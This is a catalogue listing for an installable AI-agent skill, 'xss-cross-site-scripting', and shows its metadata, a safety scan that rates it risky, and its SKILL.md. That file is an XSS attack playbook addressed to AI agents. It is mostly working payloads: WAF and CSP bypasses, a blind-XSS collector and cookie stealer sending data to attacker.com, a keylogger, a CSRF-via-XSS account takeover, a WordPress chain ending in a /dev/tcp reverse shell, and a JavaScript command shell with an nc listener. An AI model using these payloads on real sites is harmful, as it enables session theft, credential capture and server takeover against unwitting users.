xss-cross-site-scripting
Also load SCENARIOS.md when you need: - Django debug page XSS (CVE-2017-12794) — duplicate key error → unescaped exception → XSS - UTF-7 XSS for legacy IE environments (`+ADw-script+AD4-`) - HttpOnly bypass methodology — proxy-the-browser, session riding, CSRF-via-XSS - XS-Leaks side channel attacks…
Install / Use
npx skills add yaklang/hack-skills --skill xss-cross-site-scriptingInstalls into whichever agent you are using.
SKILL.md
Installable skill definition
Quality Score
Category
SecuritySupported Platforms
Tags
Our assessment of xss-cross-site-scripting
xss-cross-site-scripting scores 94/100 on our quality scale, 330th of 1,108 Security skills we index (top 30%).
Its SKILL.md is 13 KB long, well organised into 38 sections with 32 code examples: a thorough specification that gives an agent plenty to work with.
With 2,288 GitHub stars, it is one of the more widely adopted skills in the catalogue.
Maintenance, license and trust
- The repository was last updated about 2 months ago, so xss-cross-site-scripting is actively maintained.
- Our last check on 2026-11-16 found the source still online.
- It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
- Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.
Safety scan
ReviewOur scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review judged it risky (a second model did not confirm it as malicious): Instructs the agent to perform active XSS exploitation, including stealing cookies, exfiltrating DOM content, and logging keystrokes to an attacker-controlled server.
AI review: risky
- Instructs the agent to perform active XSS exploitation, including stealing cookies, exfiltrating DOM content, and logging keystrokes to an attacker-controlled server.
- Includes post-exploitation payloads for RCE (WordPress plugin editor reverse shell) and persistent browser remote control via a JavaScript command shell.
- Directs the agent to deploy blind XSS callbacks and attacker-hosted scripts, which are classic credential/data exfiltration and backdooring techniques.
AI review by kimi-k2.7-code with a second opinion from glm-5.3 on 2026-09-29. Automated pattern scan on 2026-09-29. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.
xss-cross-site-scripting compared with similar skills
All 4 of these similar skills score higher than xss-cross-site-scripting; compare them before choosing.
| Skill | Score | Stars | Updated | Format |
|---|---|---|---|---|
| xss-cross-site-scripting (this skill)by yaklang | 94 | 2.3k | 2mo ago | SKILL.md |
| x402by browser-use | 100 | 121.0k | 3d ago | SKILL.md |
| algorithmic-artby anthropics | 100 | 177.9k | 55d ago | SKILL.md |
| pptxby anthropics | 100 | 177.9k | 55d ago | SKILL.md |
| designby nextlevelbuilder | 100 | 149.0k | 6d ago | SKILL.md |
Frequently asked questions
- How do I install xss-cross-site-scripting?
- Run
npx skills add yaklang/hack-skills --skill xss-cross-site-scripting. The install tabs above show the steps for each supported agent. - Which AI agents does xss-cross-site-scripting work with?
- It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
- Is xss-cross-site-scripting safe to use?
- Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review judged it risky (a second model did not confirm it as malicious): Instructs the agent to perform active XSS exploitation, including stealing cookies, exfiltrating DOM content, and logging keystrokes to an attacker-controlled server. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
- Is xss-cross-site-scripting still maintained?
- The repository was last updated about 2 months ago, so xss-cross-site-scripting is actively maintained.
Skill content
View source on GitHubname: xss-cross-site-scripting description: >- XSS playbook. Use when user-controlled content reaches HTML, attributes, JavaScript, DOM sinks, uploads, or multi-context rendering paths.
SKILL: Cross-Site Scripting (XSS) — Expert Attack Playbook
AI LOAD INSTRUCTION: This skill covers non-obvious XSS techniques, context-specific payload selection, WAF bypass, CSP bypass, and post-exploitation. Assume the reader already knows
<script>alert(1)</script>— this file only covers what base models typically miss. For real-world CVE cases, HttpOnly bypass strategies, XS-Leaks side channels, and session fixation attacks, load the companion SCENARIOS.md.
0. RELATED ROUTING
Extended Scenarios
Also load SCENARIOS.md when you need:
- Django debug page XSS (CVE-2017-12794) — duplicate key error → unescaped exception → XSS
- UTF-7 XSS for legacy IE environments (
+ADw-script+AD4-) - HttpOnly bypass methodology — proxy-the-browser, session riding, CSRF-via-XSS
- XS-Leaks side channel attacks — timing oracle, cache probing,
performance.now()measurement - Session fixation via XSS — pre-set session ID before victim login
- DOM clobbering techniques for CSP-restricted environments
Advanced Tricks
Also load ADVANCED_XSS_TRICKS.md when you need:
- mXSS / DOMPurify bypass — namespace confusion,
<noscript>parsing differential, form/table restructuring - DOM Clobbering — property override via
id/name, HTMLCollection, deep property chains - Modern framework XSS — React
dangerouslySetInnerHTML, Vuev-html, AngularbypassSecurityTrust*, Next.js SSR - Trusted Types bypass — default policy abuse, non-TT sinks, policy passthrough
- Service Worker XSS persistence — malicious SW registration, fetch interception, post-patch survival
- PDF/SVG/MathML XSS vectors, polyglot payloads, browser-specific tricks
- XS-Leaks & side channels — timing oracle, frame counting, cache probing, error event oracle
Before broad payload spraying, you can first load:
- upload insecure files when you need the full upload path: validation, storage, preview, and sharing behavior
Quick context picks
| Context | First Pick | Backup |
|---|---|---|
| HTML body | <svg onload=alert(1)> | <img src=1 onerror=alert(1)> |
| Quoted attribute | " autofocus onfocus=alert(1)// | " onmouseover=alert(1)// |
| JavaScript string | '-alert(1)-' | '</script><svg onload=alert(1)> |
| URL / href sink | javascript:alert(1) | data:text/html,<svg onload=alert(1)> |
| Tag body like title | </title><svg onload=alert(1)> | </textarea><svg onload=alert(1)> |
| SVG / XML sink | <svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/> | XHTML namespace payload |
<svg onload=alert(1)>
<img src=1 onerror=alert(1)>
" autofocus onfocus=alert(1)//
'</script><svg onload=alert(1)>
javascript:alert(1)
data:text/html,<svg onload=alert(1)>
1. INJECTION CONTEXT MATRIX
Identify context before picking a payload. Wrong context = wasted attempts.
| Context | Indicator | Opener | Payload |
|---|---|---|---|
| HTML outside tag | <b>INPUT</b> | <svg onload= | <svg onload=alert(1)> |
| HTML attribute value | value="INPUT" | " close attr | "onmouseover=alert(1)// |
| Inline attr, no tag close | Quoted, > stripped | Event injection | "autofocus onfocus=alert(1)// |
| Block tag (title/script/textarea) | <title>INPUT</title> | Close tag first | </title><svg onload=alert(1)> |
| href / src / data / action | link or form | Protocol | javascript:alert(1) |
| JS string (single quote) | var x='INPUT' | Break string | '-alert(1)-' or '-alert(1)// |
| JS string with escape | Backslash escaping | Double escape | \'-alert(1)// |
| JS logical block | Inside if/function | Close + inject | '}alert(1);{' |
| JS anywhere on page | <script>...INPUT | Break script | </script><svg onload=alert(1)> |
| XML page (text/xml) | XML content-type | XML namespace | <x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script> |
2. MULTI-REFLECTION ATTACKS
When input reflects in multiple places on the same page — single payload triggers from all points:
<!-- Double reflection -->
'onload=alert(1)><svg/1='
'>alert(1)</script><script/1='
*/alert(1)</script><script>/*
<!-- Triple reflection -->
*/alert(1)">'onload="/*<svg/1='
`-alert(1)">'onload="`<svg/1='
*/</script>'>alert(1)/*<script/1='
<!-- Two separate inputs (p= and q=) -->
p=<svg/1='&q='onload=alert(1)>
3. ADVANCED INJECTION VECTORS
DOM Insert Injection (when reflection is in DOM not source)
Input inserted via .innerHTML, document.write, jQuery .html():
<img src=1 onerror=alert(1)>
<iframe src=javascript:alert(1)>
For URL-controlled resource insertion:
data:text/html,<img src=1 onerror=alert(1)>
data:text/html,<iframe src=javascript:alert(1)>
PHP_SELF Path Injection
When URL itself is reflected in form action:
https://target.com/page.php/"><svg onload=alert(1)>?param=val
Inject between .php and ?, using leading /.
File Upload XSS
Filename injection (when filename is reflected):
"><svg onload=alert(1)>.gif
SVG upload (stored XSS via image upload accepting SVG):
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>
Metadata injection (when EXIF is reflected):
exiftool -Artist='"><svg onload=alert(1)>' photo.jpeg
postMessage XSS (no origin check)
When page has window.addEventListener('message', ...) without origin validation:
<iframe src="TARGET_URL" onload="frames[0].postMessage('INJECTION','*')">
postMessage Origin Bypass
When origin IS checked but uses .includes() or prefix match:
http://facebook.com.ATTACKER.com/crosspwn.php?target=//victim.com/page&msg=<script>alert(1)</script>
Attacker controls facebook.com.ATTACKER.com subdomain.
XML-Based XSS
Response has text/xml or application/xml:
<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script>
<x:script xmlns:x="http://www.w3.org/1999/xhtml" src="//attacker.com/1.js"/>
Script Injection Without Closing Tag
When there IS a </script> tag later in the page:
<script src=data:,alert(1)>
<script src=//attacker.com/1.js>
4. CSP BYPASS TECHNIQUES
JSONP Endpoint Bypass (allow-listed domain has JSONP)
<script src="https://www.google.com/complete/search?client=chrome&jsonp=alert(1);">
</script>
AngularJS CDN Bypass (allow-listed ajax.googleapis.com)
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.0/angular.min.js"></script>
<x ng-app ng-csp>{{constructor.constructor('alert(1)')()}}</x>
Angular Expressions (server encodes HTML but AngularJS evaluates)
When {{1+1}} evaluates to 2 on page — classic CSTI indicator:
// Angular 1.x sandbox escape:
{{constructor.constructor('alert(1)')()}}
// Angular 1.5.x:
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}
base-uri Injection (CSP without base-uri restriction)
<base href="https://attacker.com/">
Relative <script src=...> loads from attacker's server.
DOM-based via Dangling Markup
When CSP blocks script but allows img:
<img src='https://attacker.com/log?
Leaks subsequent page content to attacker.
5. FILTER AND WAF BYPASS
Parameter Name Attack (WAF checks value not name)
When parameter names are reflected (e.g., in JSON output):
?"></script><base%20c%3D=href%3Dhttps:\mysite>
Payload is the parameter name, not value.
Encoding Chains
%253C → double-encoded <
%26lt; → HTML entity double-encoding
<%00h2 → null byte injection
%0d%0a → CRLF inside tag
Test sequence: reflect → encoding behavior → identify filter logic → mutate.
Tag Mutation (blacklist bypass)
<ScRipt> ← case variation
</script/x> ← trailing garbage
<script ← incomplete (relies on later >)
<%00iframe ← null byte
<svg/onload= ← slash instead of space
Fragmented Injection (strip-tags bypass)
Filter strips <x>...</x>:
"o<x>nmouseover=alert<x>(1)//
"autof<x>ocus o<x>nfocus=alert<x>(1)//
Vectors Without Event Handlers
<form action=javascript:alert(1)><input type=submit>
<form><button formaction=javascript:alert(1)>click
<isindex action=javascript:alert(1) type=submit value=click>
<object data=javascript:alert(1)>
<iframe srcdoc=<svg/onload=alert(1)>>
<math><brute href=javascript:alert(1)>click
6. SECOND-ORDER XSS
Definition: Input is stored (often normalized/HTML-encoded), then later retrieved and inserted into DOM without re-encoding.
Classic trigger payload (bypasses immediate HTML encoding):
<svg/onload=alert(1)>
Check: profile fields, display names, forum posts — anywhere data is stored, then re-rendered in a different context (e.g., admin panel vs user-facing).
Stored → Admin context XSS: most impactful — sign up with crafted username, wait for admin to view user list.
7. BLIND XSS METHODOLOGY
Every parameter that is not immediately reflected should be tested for blind XSS:
- Contact forms, feedback fields
- User-agent / referer
- Registration fields
- Error log injections
Blind XSS callback payload (remote JS file approach):
"><script src=//attacker.com/bxss.js></script>
Minimal collector (hosted at bxss.js):
var d = document;
var msg = 'URL: '+d.URL+'\nCOOKIE: '+d.cookie+'\nDOM:\n'+d.documentElement.innerHTML;
fetch('https://attacker.com/collect?'+encodeURIComponent(msg));
Use XSS Hunter or similar blind XSS platform for automated collection.
8. XSS EXPLOITATION CHAIN
Cookie Steal
fetch('//attacker.com/?c='+document.cookie)
// HttpOnly protected cookies → not stealable via JS, need CSRF or session fixation instead
Keylogger
document.onkeypress = function(e) {
fetch('//attacker.com/k?k='+encodeURIComponent(e.key));
}
CSRF via XSS (bypasses CSRF protection, reads CSRF token from DOM)
var r = new XMLHttpRequest();
r.open('GET', '/account/settings', false);
r.send();
var token = /csrf_token['":\s]+([^'"<\s]+)/.exec(r.responseText)[1];
var f = new XMLHttpRequest();
f.open('POST', '/account/email/change', true);
f.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
f.send('email=attacker@evil.com&csrf='+token);
WordPress XSS → RCE (admin session + Hello Dolly plugin):
p = '/wp-admin/plugin-editor.php?';
q = 'file=hello.php';
s = '<?=`bash -i >& /dev/tcp/ATTACKER/4444 0>&1`;?>';
a = new XMLHttpRequest();
a.open('GET', p+q, 0); a.send();
$ = '_wpnonce=' + /nonce" value="([^"]*?)"/.exec(a.responseText)[1] +
'&newcontent=' + encodeURIComponent(s) + '&action=update&' + q;
b = new XMLHttpRequest();
b.open('POST', p+q, 1);
b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
b.send($);
b.onreadystatechange = function(){ if(this.readyState==4) fetch('/wp-content/plugins/hello.php'); }
Browser Remote Control (JS command shell)
// Injected into victim:
setInterval(function(){
with(document)body.appendChild(createElement('script')).src='//ATTACKER:5855'
},100)
# Attacker listener:
while :; do printf "j$ "; read c; echo $c | nc -lp 5855 >/dev/null; done
9. DECISION TREE
Test XSS entry point
├── Input reflected in response?
│ ├── YES → Identify context (HTML / JS / attr / URL)
│ │ → Select context-appropriate payload
│ │ → If blocked → check filter behavior
│ │ │ → Try encoding, case mutation, fragmentation
│ │ │ → Check if parameter NAME is reflected (WAF gap)
│ │ └── Success → escalate (cookie steal /
Truncated for display — read the full file on GitHub.
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Trust signals
From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.
